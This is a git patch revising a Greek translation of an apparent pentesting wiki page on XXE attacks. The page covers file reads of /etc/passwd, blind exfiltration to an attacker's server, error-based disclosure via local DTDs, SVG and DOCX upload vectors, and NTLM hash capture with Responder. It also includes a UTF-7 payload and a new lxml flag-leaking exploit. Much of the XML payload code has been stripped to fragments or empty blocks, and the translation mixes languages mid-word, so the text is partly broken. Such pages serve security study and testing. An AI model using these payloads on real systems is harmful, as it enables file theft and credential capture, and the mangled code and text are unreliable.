From 8f701dcba76aa8ec81886863d5c5d6c38d1d8469 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 12 Jul 2025 09:51:55 +0000 Subject: [PATCH] Translated ['src/pentesting-web/xxe-xee-xml-external-entity.md'] to el --- .../xxe-xee-xml-external-entity.md | 117 ++++++++++++++---- 1 file changed, 90 insertions(+), 27 deletions(-) diff --git a/src/pentesting-web/xxe-xee-xml-external-entity.md b/src/pentesting-web/xxe-xee-xml-external-entity.md index 8fe2a9c53..ec59632d7 100644 --- a/src/pentesting-web/xxe-xee-xml-external-entity.md +++ b/src/pentesting-web/xxe-xee-xml-external-entity.md @@ -1,5 +1,10 @@ # XXE - XEE - XML External Entity +{{#include /banners/hacktricks-training.md}} + +- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42) +- [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279) + {{#include ../banners/hacktricks-training.md}} ## XML Basics @@ -10,7 +15,7 @@ - **Ορισμός Στοιχείων XML**: Το XML επιτρέπει τον ορισμό τύπων στοιχείων, περιγράφοντας πώς θα πρέπει να δομούνται τα στοιχεία και τι περιεχόμενο μπορεί να περιέχουν, από οποιοδήποτε τύπο περιεχομένου έως συγκεκριμένα παιδικά στοιχεία. - **Ορισμός Τύπου Εγγράφου (DTD)**: Τα DTD είναι κρίσιμα στο XML για τον ορισμό της δομής του εγγράφου και των τύπων δεδομένων που μπορεί να περιέχει. Μπορούν να είναι εσωτερικά, εξωτερικά ή ένας συνδυασμός, καθοδηγώντας το πώς μορφοποιούνται και επικυρώνονται τα έγγραφα. - **Προσαρμοσμένες και Εξωτερικές Οντότητες**: Το XML υποστηρίζει τη δημιουργία προσαρμοσμένων οντοτήτων εντός ενός DTD για ευέλικτη αναπαράσταση δεδομένων. Οι εξωτερικές οντότητες, που ορίζονται με μια διεύθυνση URL, εγείρουν ανησυχίες ασφαλείας, ιδιαίτερα στο πλαίσιο επιθέσεων XML External Entity (XXE), οι οποίες εκμεταλλεύονται τον τρόπο που οι αναλυτές XML χειρίζονται εξωτερικές πηγές δεδομένων: ` ]>` -- **Ανίχνευση XXE με Οντότητες Παραμέτρων**: Για την ανίχνευση ευπαθειών XXE, ειδικά όταν οι συμβατικές μέθοδοι αποτυγχάνουν λόγω μέτρων ασφαλείας του αναλυτή, μπορούν να χρησιμοποιηθούν οντότητες παραμέτρων XML. Αυτές οι οντότητες επιτρέπουν τεχνικές ανίχνευσης εκτός ζώνης, όπως η ενεργοποίηση αναζητήσεων DNS ή HTTP αιτημάτων σε έναν ελεγχόμενο τομέα, για να επιβεβαιωθεί η ευπάθεια. +- **Ανίχνευση XXE με Οντότητες Παραμέτρων**: Για την ανίχνευση ευπαθειών XXE, ειδικά όταν οι συμβατικές μέθοδοι αποτυγχάνουν λόγω μέτρων ασφαλείας του αναλυτή, μπορούν να χρησιμοποιηθούν οι οντότητες παραμέτρων XML. Αυτές οι οντότητες επιτρέπουν τεχνικές ανίχνευσης εκτός ζώνης, όπως η ενεργοποίηση αναζητήσεων DNS ή HTTP αιτημάτων σε έναν ελεγχόμενο τομέα, για να επιβεβαιωθεί η ευπάθεια. - ` ]>` - ` ]>` @@ -31,9 +36,9 @@ ``` ![](<../images/image (870).png>) -### Διαβάστε το αρχείο +### Ανάγνωση αρχείου -Ας προσπαθήσουμε να διαβάσουμε το `/etc/passwd` με διάφορους τρόπους. Για Windows μπορείτε να προσπαθήσετε να διαβάσετε: `C:\windows\system32\drivers\etc\hosts` +Ας προσπαθήσουμε να διαβάσουμε το `/etc/passwd` με διάφορους τρόπους. Για Windows, μπορείτε να προσπαθήσετε να διαβάσετε: `C:\windows\system32\drivers\etc\hosts` Σε αυτή την πρώτη περίπτωση, παρατηρήστε ότι το SYSTEM "_**file:///**etc/passwd_" θα λειτουργήσει επίσης. ```xml @@ -43,7 +48,7 @@ ``` ![](<../images/image (86).png>) -Αυτή η δεύτερη περίπτωση θα πρέπει να είναι χρήσιμη για την εξαγωγή ενός αρχείου αν ο διακομιστής ιστού χρησιμοποιεί PHP (Όχι η περίπτωση των εργαστηρίων Portswigger) +Αυτή η δεύτερη περίπτωση θα πρέπει να είναι χρήσιμη για την εξαγωγή ενός αρχείου αν ο διακομιστής ιστού χρησιμοποιεί PHP (Δεν ισχύει για τα εργαστήρια του Portswigger) ```xml ]> @@ -65,7 +70,7 @@ ### Κατάλογος καταλόγου -Σε εφαρμογές βασισμένες σε **Java**, μπορεί να είναι δυνατό να **καταχωρήσετε τα περιεχόμενα ενός καταλόγου** μέσω XXE με ένα payload όπως (απλώς ζητώντας τον κατάλογο αντί για το αρχείο): +Σε εφαρμογές που βασίζονται σε **Java**, μπορεί να είναι δυνατό να **καταχωρήσετε τα περιεχόμενα ενός καταλόγου** μέσω XXE με ένα payload όπως (απλώς ζητώντας τον κατάλογο αντί για το αρχείο): ```xml ]>&xxe; @@ -83,7 +88,7 @@ ``` ### Blind SSRF -Χρησιμοποιώντας την **προηγουμένως σχολιασμένη τεχνική** μπορείτε να κάνετε τον διακομιστή να έχει πρόσβαση σε έναν διακομιστή που ελέγχετε για να δείξει ότι είναι ευάλωτος. Αλλά, αν αυτό δεν λειτουργεί, ίσως είναι επειδή **οι XML οντότητες δεν επιτρέπονται**, σε αυτή την περίπτωση θα μπορούσατε να δοκιμάσετε να χρησιμοποιήσετε **XML παραμετρικές οντότητες**: +Χρησιμοποιώντας την **προηγουμένως σχολιασμένη τεχνική** μπορείτε να κάνετε τον διακομιστή να έχει πρόσβαση σε έναν διακομιστή που ελέγχετε για να δείξετε ότι είναι ευάλωτος. Αλλά, αν αυτό δεν λειτουργεί, ίσως είναι επειδή **οι XML οντότητες δεν επιτρέπονται**, σε αυτή την περίπτωση θα μπορούσατε να δοκιμάσετε να χρησιμοποιήσετε **XML παραμετρικές οντότητες**: ```xml %xxe; ]> @@ -107,8 +112,8 @@ Τα βήματα που εκτελούνται από αυτό το DTD περιλαμβάνουν: 1. **Ορισμός Οντοτήτων Παραμέτρων:** -- Μια XML οντότητα παραμέτρου, `%file`, δημιουργείται, διαβάζοντας το περιεχόμενο του αρχείου `/etc/hostname`. -- Μια άλλη XML οντότητα παραμέτρου, `%eval`, ορίζεται. Δημιουργεί δυναμικά μια νέα XML οντότητα παραμέτρου, `%exfiltrate`. Η οντότητα `%exfiltrate` ρυθμίζεται ώστε να κάνει ένα HTTP αίτημα στον διακομιστή του επιτιθέμενου, περνώντας το περιεχόμενο της οντότητας `%file` μέσα στη συμβολοσειρά ερωτήματος της διεύθυνσης URL. +- Μια οντότητα παραμέτρου XML, `%file`, δημιουργείται, διαβάζοντας το περιεχόμενο του αρχείου `/etc/hostname`. +- Μια άλλη οντότητα παραμέτρου XML, `%eval`, ορίζεται. Δημιουργεί δυναμικά μια νέα οντότητα παραμέτρου XML, `%exfiltrate`. Η οντότητα `%exfiltrate` ρυθμίζεται ώστε να κάνει ένα HTTP αίτημα στον διακομιστή του επιτιθέμενου, περνώντας το περιεχόμενο της οντότητας `%file` μέσα στη συμβολοσειρά ερωτήματος της διεύθυνσης URL. 2. **Εκτέλεση Οντοτήτων:** - Η οντότητα `%eval` χρησιμοποιείται, οδηγώντας στην εκτέλεση της δυναμικής δήλωσης της οντότητας `%exfiltrate`. - Η οντότητα `%exfiltrate` χρησιμοποιείται στη συνέχεια, ενεργοποιώντας ένα HTTP αίτημα στη συγκεκριμένη διεύθυνση URL με το περιεχόμενο του αρχείου. @@ -130,7 +135,7 @@ Ένα μήνυμα σφάλματος ανάλυσης XML, αποκαλύπτοντας τα περιεχόμενα του αρχείου `/etc/passwd`, μπορεί να προκληθεί χρησιμοποιώντας ένα κακόβουλο εξωτερικό Document Type Definition (DTD). Αυτό επιτυγχάνεται μέσω των παρακάτω βημάτων: 1. Ορίζεται μια XML παράμετρος οντότητας με το όνομα `file`, η οποία περιέχει τα περιεχόμενα του αρχείου `/etc/passwd`. -2. Ορίζεται μια XML παράμετρος οντότητας με το όνομα `eval`, ενσωματώνοντας μια δυναμική δήλωση για μια άλλη XML παράμετρο οντότητας με το όνομα `error`. Αυτή η οντότητα `error`, όταν αξιολογηθεί, προσπαθεί να φορτώσει ένα ανύπαρκτο αρχείο, ενσωματώνοντας τα περιεχόμενα της οντότητας `file` ως το όνομά της. +2. Ορίζεται μια XML παράμετρος οντότητας με το όνομα `eval`, ενσωματώνοντας μια δυναμική δήλωση για μια άλλη XML παράμετρο οντότητας με το όνομα `error`. Αυτή η οντότητα `error`, όταν αξιολογηθεί, προσπαθεί να φορτώσει ένα ανύπαρκτο αρχείο, ενσωματώνοντας τα περιεχόμενα της οντότητας `file` ως όνομά της. 3. Η οντότητα `eval` καλείται, οδηγώντας στη δυναμική δήλωση της οντότητας `error`. 4. Η κλήση της οντότητας `error` έχει ως αποτέλεσμα μια προσπάθεια φόρτωσης ενός ανύπαρκτου αρχείου, παράγοντας ένα μήνυμα σφάλματος που περιλαμβάνει τα περιεχόμενα του αρχείου `/etc/passwd` ως μέρος του ονόματος του αρχείου. @@ -150,7 +155,7 @@ _**Παρακαλώ σημειώστε ότι η εξωτερική DTD μας Τι γίνεται με τις τυφλές ευπάθειες XXE όταν **οι εκτός ζώνης αλληλεπιδράσεις είναι αποκλεισμένες** (οι εξωτερικές συνδέσεις δεν είναι διαθέσιμες); -Μια παραθυράκι στην προδιαγραφή γλώσσας XML μπορεί να **εκθέσει ευαίσθητα δεδομένα μέσω μηνυμάτων σφάλματος όταν η DTD ενός εγγράφου συνδυάζει εσωτερικές και εξωτερικές δηλώσεις**. Αυτό το ζήτημα επιτρέπει την εσωτερική αναdefinition των οντοτήτων που δηλώνονται εξωτερικά, διευκολύνοντας την εκτέλεση επιθέσεων XXE βασισμένων σε σφάλματα. Τέτοιες επιθέσεις εκμεταλλεύονται την αναdefinition μιας παραμέτρου οντότητας XML, που αρχικά δηλώθηκε σε μια εξωτερική DTD, από μέσα σε μια εσωτερική DTD. Όταν οι εκτός ζώνης συνδέσεις αποκλείονται από τον διακομιστή, οι επιτιθέμενοι πρέπει να βασιστούν σε τοπικά αρχεία DTD για να διεξάγουν την επίθεση, στοχεύοντας να προκαλέσουν ένα σφάλμα ανάλυσης για να αποκαλύψουν ευαίσθητες πληροφορίες. +Μια παραθυράκι στην προδιαγραφή γλώσσας XML μπορεί να **εκθέσει ευαίσθητα δεδομένα μέσω μηνυμάτων σφάλματος όταν η DTD ενός εγγράφου συνδυάζει εσωτερικές και εξωτερικές δηλώσεις**. Αυτό το ζήτημα επιτρέπει την εσωτερική αναdefinition των οντοτήτων που δηλώνονται εξωτερικά, διευκολύνοντας την εκτέλεση επιθέσεων XXE βασισμένων σε σφάλματα. Τέτοιες επιθέσεις εκμεταλλεύονται την αναdefinition μιας οντότητας παραμέτρου XML, που αρχικά δηλώθηκε σε μια εξωτερική DTD, από μέσα σε μια εσωτερική DTD. Όταν οι εκτός ζώνης συνδέσεις αποκλείονται από τον διακομιστή, οι επιτιθέμενοι πρέπει να βασιστούν σε τοπικά αρχεία DTD για να διεξάγουν την επίθεση, στοχεύοντας να προκαλέσουν ένα σφάλμα ανάλυσης για να αποκαλύψουν ευαίσθητες πληροφορίες. Σκεφτείτε ένα σενάριο όπου το σύστημα αρχείων του διακομιστή περιέχει ένα αρχείο DTD στο `/usr/local/app/schema.dtd`, που ορίζει μια οντότητα με το όνομα `custom_entity`. Ένας επιτιθέμενος μπορεί να προκαλέσει ένα σφάλμα ανάλυσης XML αποκαλύπτοντας τα περιεχόμενα του αρχείου `/etc/passwd` υποβάλλοντας μια υβριδική DTD ως εξής: ```xml @@ -168,8 +173,8 @@ _**Παρακαλώ σημειώστε ότι η εξωτερική DTD μας Οι καθορισμένες διαδικασίες εκτελούνται από αυτό το DTD: - Ο ορισμός μιας XML παραμέτρου οντότητας με όνομα `local_dtd` περιλαμβάνει το εξωτερικό αρχείο DTD που βρίσκεται στο σύστημα αρχείων του διακομιστή. -- Μια επαναορισμός συμβαίνει για την XML παράμετρο οντότητας `custom_entity`, που αρχικά ορίστηκε στο εξωτερικό DTD, για να περιλάβει μια [εκμετάλλευση XXE βασισμένη σε σφάλματα](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Αυτή η επαναορισμός έχει σχεδιαστεί για να προκαλέσει ένα σφάλμα ανάλυσης, εκθέτοντας τα περιεχόμενα του αρχείου `/etc/passwd`. -- Χρησιμοποιώντας την οντότητα `local_dtd`, το εξωτερικό DTD ενεργοποιείται, περιλαμβάνοντας την νεοκαθορισμένη `custom_entity`. Αυτή η ακολουθία ενεργειών προκαλεί την εκπομπή του μηνύματος σφάλματος που επιδιώκεται από την εκμετάλλευση. +- Μια επαναορισμός συμβαίνει για την XML παράμετρο οντότητας `custom_entity`, που ορίστηκε αρχικά στο εξωτερικό DTD, για να περιλάβει μια [εκμετάλλευση XXE βασισμένη σε σφάλματα](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Αυτή η επαναορισμός έχει σχεδιαστεί για να προκαλέσει ένα σφάλμα ανάλυσης, εκθέτοντας το περιεχόμενο του αρχείου `/etc/passwd`. +- Χρησιμοποιώντας την οντότητα `local_dtd`, ενεργοποιείται το εξωτερικό DTD, περιλαμβάνοντας την νεοκαθορισμένη `custom_entity`. Αυτή η ακολουθία ενεργειών προκαλεί την εκπομπή του μηνύματος σφάλματος που επιδιώκεται από την εκμετάλλευση. **Παράδειγμα από τον πραγματικό κόσμο:** Τα συστήματα που χρησιμοποιούν το περιβάλλον επιφάνειας εργασίας GNOME συχνά έχουν ένα DTD στο `/usr/share/yelp/dtd/docbookx.dtd` που περιέχει μια οντότητα που ονομάζεται `ISOamso`. ```xml @@ -227,15 +232,15 @@ Testing 0 entities : [] Αφού το έγγραφο έχει αποσυμπιεστεί, το XML αρχείο που βρίσκεται στο `./unzipped/word/document.xml` θα πρέπει να ανοιχτεί και να επεξεργαστεί σε έναν προτιμώμενο επεξεργαστή κειμένου (όπως το vim). Το XML θα πρέπει να τροποποιηθεί ώστε να περιλαμβάνει το επιθυμητό XXE payload, συχνά ξεκινώντας με ένα HTTP αίτημα. -Οι τροποποιημένες γραμμές XML θα πρέπει να εισαχθούν μεταξύ των δύο ριζικών XML αντικειμένων. Είναι σημαντικό να αντικαταστήσετε τη διεύθυνση URL με μια παρακολουθήσιμη διεύθυνση URL για τα αιτήματα. +Οι τροποποιημένες γραμμές XML θα πρέπει να εισαχθούν μεταξύ των δύο ριζικών XML αντικειμένων. Είναι σημαντικό να αντικαταστήσετε το URL με ένα παρακολουθήσιμο URL για τα αιτήματα. -Τέλος, το αρχείο μπορεί να συμπιεστεί για να δημιουργήσει το κακόβουλο poc.docx αρχείο. Από τον προηγουμένως δημιουργημένο φάκελο "unzipped", θα πρέπει να εκτελεστεί η παρακάτω εντολή: +Τέλος, το αρχείο μπορεί να συμπιεστεί για να δημιουργηθεί το κακόβουλο poc.docx αρχείο. Από τον προηγουμένως δημιουργημένο φάκελο "unzipped", θα πρέπει να εκτελεστεί η εξής εντολή: Τώρα, το δημιουργημένο αρχείο μπορεί να ανέβει στην ενδεχομένως ευάλωτη διαδικτυακή εφαρμογή, και μπορεί κανείς να ελπίζει ότι θα εμφανιστεί ένα αίτημα στα αρχεία καταγραφής του Burp Collaborator. ### Jar: πρωτόκολλο -Το **jar** πρωτόκολλο είναι προσβάσιμο αποκλειστικά εντός **Java εφαρμογών**. Είναι σχεδιασμένο για να επιτρέπει την πρόσβαση σε αρχεία εντός ενός **PKZIP** αρχείου (π.χ., `.zip`, `.jar`, κ.λπ.), εξυπηρετώντας τόσο τοπικά όσο και απομακρυσμένα αρχεία. +Το **jar** πρωτόκολλο είναι προσβάσιμο αποκλειστικά εντός **εφαρμογών Java**. Είναι σχεδιασμένο για να επιτρέπει την πρόσβαση σε αρχεία εντός ενός **PKZIP** αρχείου (π.χ., `.zip`, `.jar`, κ.λπ.), εξυπηρετώντας τόσο τοπικά όσο και απομακρυσμένα αρχεία. ``` jar:file:///var/myarchive.zip!/file.txt jar:https://download.host.com/myarchive.zip!/file.txt @@ -245,7 +250,7 @@ jar:https://download.host.com/myarchive.zip!/file.txt Η διαδικασία πίσω από την πρόσβαση σε ένα αρχείο μέσα σε ένα αρχείο PKZIP μέσω του πρωτοκόλλου jar περιλαμβάνει αρκετά βήματα: -1. Γίνεται ένα HTTP αίτημα για να κατεβάσετε το αρχείο zip από μια καθορισμένη τοποθεσία, όπως `https://download.website.com/archive.zip`. +1. Γίνεται ένα HTTP αίτημα για να κατεβάσετε το zip αρχείο από μια καθορισμένη τοποθεσία, όπως `https://download.website.com/archive.zip`. 2. Η HTTP απάντηση που περιέχει το αρχείο αποθηκεύεται προσωρινά στο σύστημα, συνήθως σε μια τοποθεσία όπως `/tmp/...`. 3. Το αρχείο στη συνέχεια εξάγεται για να αποκτήσετε πρόσβαση στα περιεχόμενά του. 4. Το συγκεκριμένο αρχείο μέσα στο αρχείο, `file.zip`, διαβάζεται. @@ -294,7 +299,7 @@ i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] #### Λήψη NTML -Σε υπολογιστές Windows είναι δυνατή η λήψη του NTML hash του χρήστη του web server ρυθμίζοντας έναν χειριστή responder.py: +Σε Windows hosts είναι δυνατή η λήψη του NTML hash του χρήστη του web server ρυθμίζοντας έναν χειριστή responder.py: ```bash Responder.py -I eth0 -v ``` @@ -322,19 +327,19 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec Τα αρχεία που ανεβάζουν οι χρήστες σε ορισμένες εφαρμογές, τα οποία στη συνέχεια επεξεργάζονται στον διακομιστή, μπορούν να εκμεταλλευτούν ευπάθειες στον τρόπο που διαχειρίζονται τα XML ή τα αρχεία που περιέχουν XML. Κοινές μορφές αρχείων όπως έγγραφα γραφείου (DOCX) και εικόνες (SVG) βασίζονται σε XML. -Όταν οι χρήστες **ανεβάζουν εικόνες**, αυτές οι εικόνες επεξεργάζονται ή επικυρώνονται από τον διακομιστή. Ακόμη και για εφαρμογές που αναμένουν μορφές όπως PNG ή JPEG, η **βιβλιοθήκη επεξεργασίας εικόνας του διακομιστή μπορεί επίσης να υποστηρίζει εικόνες SVG**. Το SVG, ως μορφή βασισμένη σε XML, μπορεί να εκμεταλλευτεί από επιτιθέμενους για να υποβάλουν κακόβουλες εικόνες SVG, εκθέτοντας έτσι τον διακομιστή σε ευπάθειες XXE (XML External Entity). +Όταν οι χρήστες **ανεβάζουν εικόνες**, αυτές οι εικόνες επεξεργάζονται ή επικυρώνονται από τον διακομιστή. Ακόμα και για εφαρμογές που αναμένουν μορφές όπως PNG ή JPEG, η **βιβλιοθήκη επεξεργασίας εικόνας του διακομιστή μπορεί επίσης να υποστηρίζει εικόνες SVG**. Το SVG, ως μορφή βασισμένη σε XML, μπορεί να εκμεταλλευτεί από επιτιθέμενους για να υποβάλουν κακόβουλες εικόνες SVG, εκθέτοντας έτσι τον διακομιστή σε ευπάθειες XXE (XML External Entity). Ένα παράδειγμα μιας τέτοιας εκμετάλλευσης φαίνεται παρακάτω, όπου μια κακόβουλη εικόνα SVG προσπαθεί να διαβάσει αρχεία συστήματος: ```xml ``` -Μια άλλη μέθοδος περιλαμβάνει την προσπάθεια **εκτέλεσης εντολών** μέσω του PHP "expect" wrapper: +Μια άλλη μέθοδος περιλαμβάνει την προσπάθεια **εκτέλεσης εντολών** μέσω του wrapper PHP "expect": ```xml ``` -Στις δύο περιπτώσεις, η μορφή SVG χρησιμοποιείται για την εκκίνηση επιθέσεων που εκμεταλλεύονται τις δυνατότητες επεξεργασίας XML του λογισμικού του διακομιστή, υπογραμμίζοντας την ανάγκη για ισχυρή επικύρωση εισόδου και μέτρα ασφαλείας. +Σε και τις δύο περιπτώσεις, η μορφή SVG χρησιμοποιείται για την εκκίνηση επιθέσεων που εκμεταλλεύονται τις δυνατότητες επεξεργασίας XML του λογισμικού του διακομιστή, υπογραμμίζοντας την ανάγκη για ισχυρή επικύρωση εισόδου και μέτρα ασφαλείας. Δείτε [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) για περισσότερες πληροφορίες! @@ -350,7 +355,7 @@ file-upload/pdf-upload-xxe-and-cors-bypass.md ### Content-Type: Από x-www-urlencoded σε XML -Εάν ένα αίτημα POST δέχεται τα δεδομένα σε μορφή XML, μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια XXE σε αυτό το αίτημα. Για παράδειγμα, εάν ένα κανονικό αίτημα περιέχει τα εξής: +Εάν ένα αίτημα POST δέχεται τα δεδομένα σε μορφή XML, θα μπορούσατε να προσπαθήσετε να εκμεταλλευτείτε μια XXE σε αυτό το αίτημα. Για παράδειγμα, εάν ένα κανονικό αίτημα περιέχει τα εξής: ```xml POST /action HTTP/1.0 Content-Type: application/x-www-form-urlencoded @@ -408,7 +413,7 @@ Content-Type: application/xml;charset=UTF-8 ### UTF-7 -Μπορείτε να χρησιμοποιήσετε την \[**"Συνταγή Κωδικοποίησης" του cyberchef εδώ ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)σε]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29σε](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29σε)) μετατροπή σε UTF-7. +Μπορείτε να χρησιμοποιήσετε το \[**"Encode Recipe**" του cyberchef εδώ ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) για να μετατρέψετε σε UTF-7. ```xml +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4- @@ -428,7 +433,7 @@ Content-Type: application/xml;charset=UTF-8 ### HTML Entities -Trick από [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\ +Trick from [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\ Μπορείτε να δημιουργήσετε μια **οντότητα μέσα σε μια οντότητα** κωδικοποιώντας την με **html entities** και στη συνέχεια να την καλέσετε για να **φορτώσετε ένα dtd**.\ Σημειώστε ότι οι **HTML Entities** που χρησιμοποιούνται πρέπει να είναι **αριθμητικές** (όπως \[σε αυτό το παράδειγμα]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\]()). ```xml @@ -492,7 +497,7 @@ Content-Type: application/x-xliff+xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` -Ωστόσο, αυτό το αίτημα προκαλεί ένα σφάλμα εσωτερικού διακομιστή, αναφέροντας συγκεκριμένα ένα πρόβλημα με τις δηλώσεις markup: +Ωστόσο, αυτό το αίτημα προκαλεί ένα εσωτερικό σφάλμα διακομιστή, αναφέροντας συγκεκριμένα ένα πρόβλημα με τις δηλώσεις markup: ```json { "status": 500, @@ -523,7 +528,7 @@ Error-Based Data Exfiltration Για να ξεπεραστεί αυτός ο π %foo; %xxe; ``` -Ο διακομιστής απαντά με ένα σφάλμα, το οποίο αντικατοπτρίζει σημαντικά το ανύπαρκτο αρχείο, υποδεικνύοντας ότι ο διακομιστής προσπαθεί να αποκτήσει πρόσβαση στο καθορισμένο αρχείο: +Ο διακομιστής απαντά με ένα σφάλμα, το οποίο σημαντικά αντικατοπτρίζει το ανύπαρκτο αρχείο, υποδεικνύοντας ότι ο διακομιστής προσπαθεί να αποκτήσει πρόσβαση στο καθορισμένο αρχείο: ```javascript {"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"} ``` @@ -534,7 +539,7 @@ Error-Based Data Exfiltration Για να ξεπεραστεί αυτός ο π %foo; %xxe; ``` -Αυτή η τροποποίηση οδηγεί στην επιτυχία της εξαγωγής του περιεχομένου του αρχείου, καθώς αντικατοπτρίζεται στην έξοδο σφάλματος που αποστέλλεται μέσω HTTP. Αυτό υποδηλώνει μια επιτυχημένη επίθεση XXE (XML External Entity), εκμεταλλευόμενη τόσο τις τεχνικές Out of Band όσο και Error-Based για την εξαγωγή ευαίσθητων πληροφοριών. +Αυτή η τροποποίηση οδηγεί στην επιτυχή εξαγωγή του περιεχομένου του αρχείου, καθώς αντικατοπτρίζεται στην έξοδο σφάλματος που αποστέλλεται μέσω HTTP. Αυτό υποδηλώνει μια επιτυχημένη επίθεση XXE (XML External Entity), εκμεταλλευόμενη τόσο τις τεχνικές Out of Band όσο και Error-Based για την εξαγωγή ευαίσθητων πληροφοριών. ## RSS - XEE @@ -681,15 +686,73 @@ XMLDecoder είναι μια κλάση Java που δημιουργεί αντ https://github.com/luisfontes19/xxexploiter {{#endref}} +### Python lxml Parameter-Entity XXE (Error-Based File Disclosure) + +> [!INFO] +> Η βιβλιοθήκη Python **lxml** χρησιμοποιεί **libxml2** από κάτω. Οι εκδόσεις πριν από **lxml 5.4.0 / libxml2 2.13.8** επεκτείνουν ακόμα τις *παραμέτρους* οντότητες ακόμη και όταν `resolve_entities=False`, καθιστώντας τις προσβάσιμες όταν η εφαρμογή ενεργοποιεί `load_dtd=True` και/ή `resolve_entities=True`. Αυτό επιτρέπει τα payloads XXE που βασίζονται σε σφάλματα που ενσωματώνουν τα περιεχόμενα τοπικών αρχείων στο μήνυμα σφάλματος του αναλυτή. + +#### 1. Εκμετάλλευση lxml < 5.4.0 +1. Εντοπίστε ή δημιουργήστε μια *τοπική* DTD στον δίσκο που ορίζει μια **μη καθορισμένη** παράμετρο οντότητας (π.χ. `%config_hex;`). +2. Δημιουργήστε μια εσωτερική DTD που: +* Φορτώνει την τοπική DTD με ``. +* Επανακαθορίζει την μη καθορισμένη οντότητα έτσι ώστε να: +- Διαβάζει το στοχευμένο αρχείο (``). +- Δημιουργεί μια άλλη παράμετρο οντότητας που αναφέρεται σε μια **μη έγκυρη διαδρομή** που περιέχει την τιμή `%flag;` και προκαλεί σφάλμα αναλυτή (`">`). +3. Τέλος, επεκτείνετε `%local_dtd;` και `%eval;` έτσι ώστε ο αναλυτής να συναντήσει `%error;`, να αποτύχει να ανοίξει το `/aaa/` και να διαρρεύσει τη σημαία μέσα στην εξαίρεση που ρίχνεται – η οποία συχνά επιστρέφεται στον χρήστη από την εφαρμογή. +```xml + + +"> +%eval;'> +%local_dtd; +]> +``` +Όταν η εφαρμογή εκτυπώνει την εξαίρεση, η απάντηση περιέχει: +``` +Error : failed to load external entity "file:///aaa/FLAG{secret}" +``` +> [!TIP] +> Αν ο αναλυτής παραπονιέται για χαρακτήρες `%`/`&` μέσα στο εσωτερικό 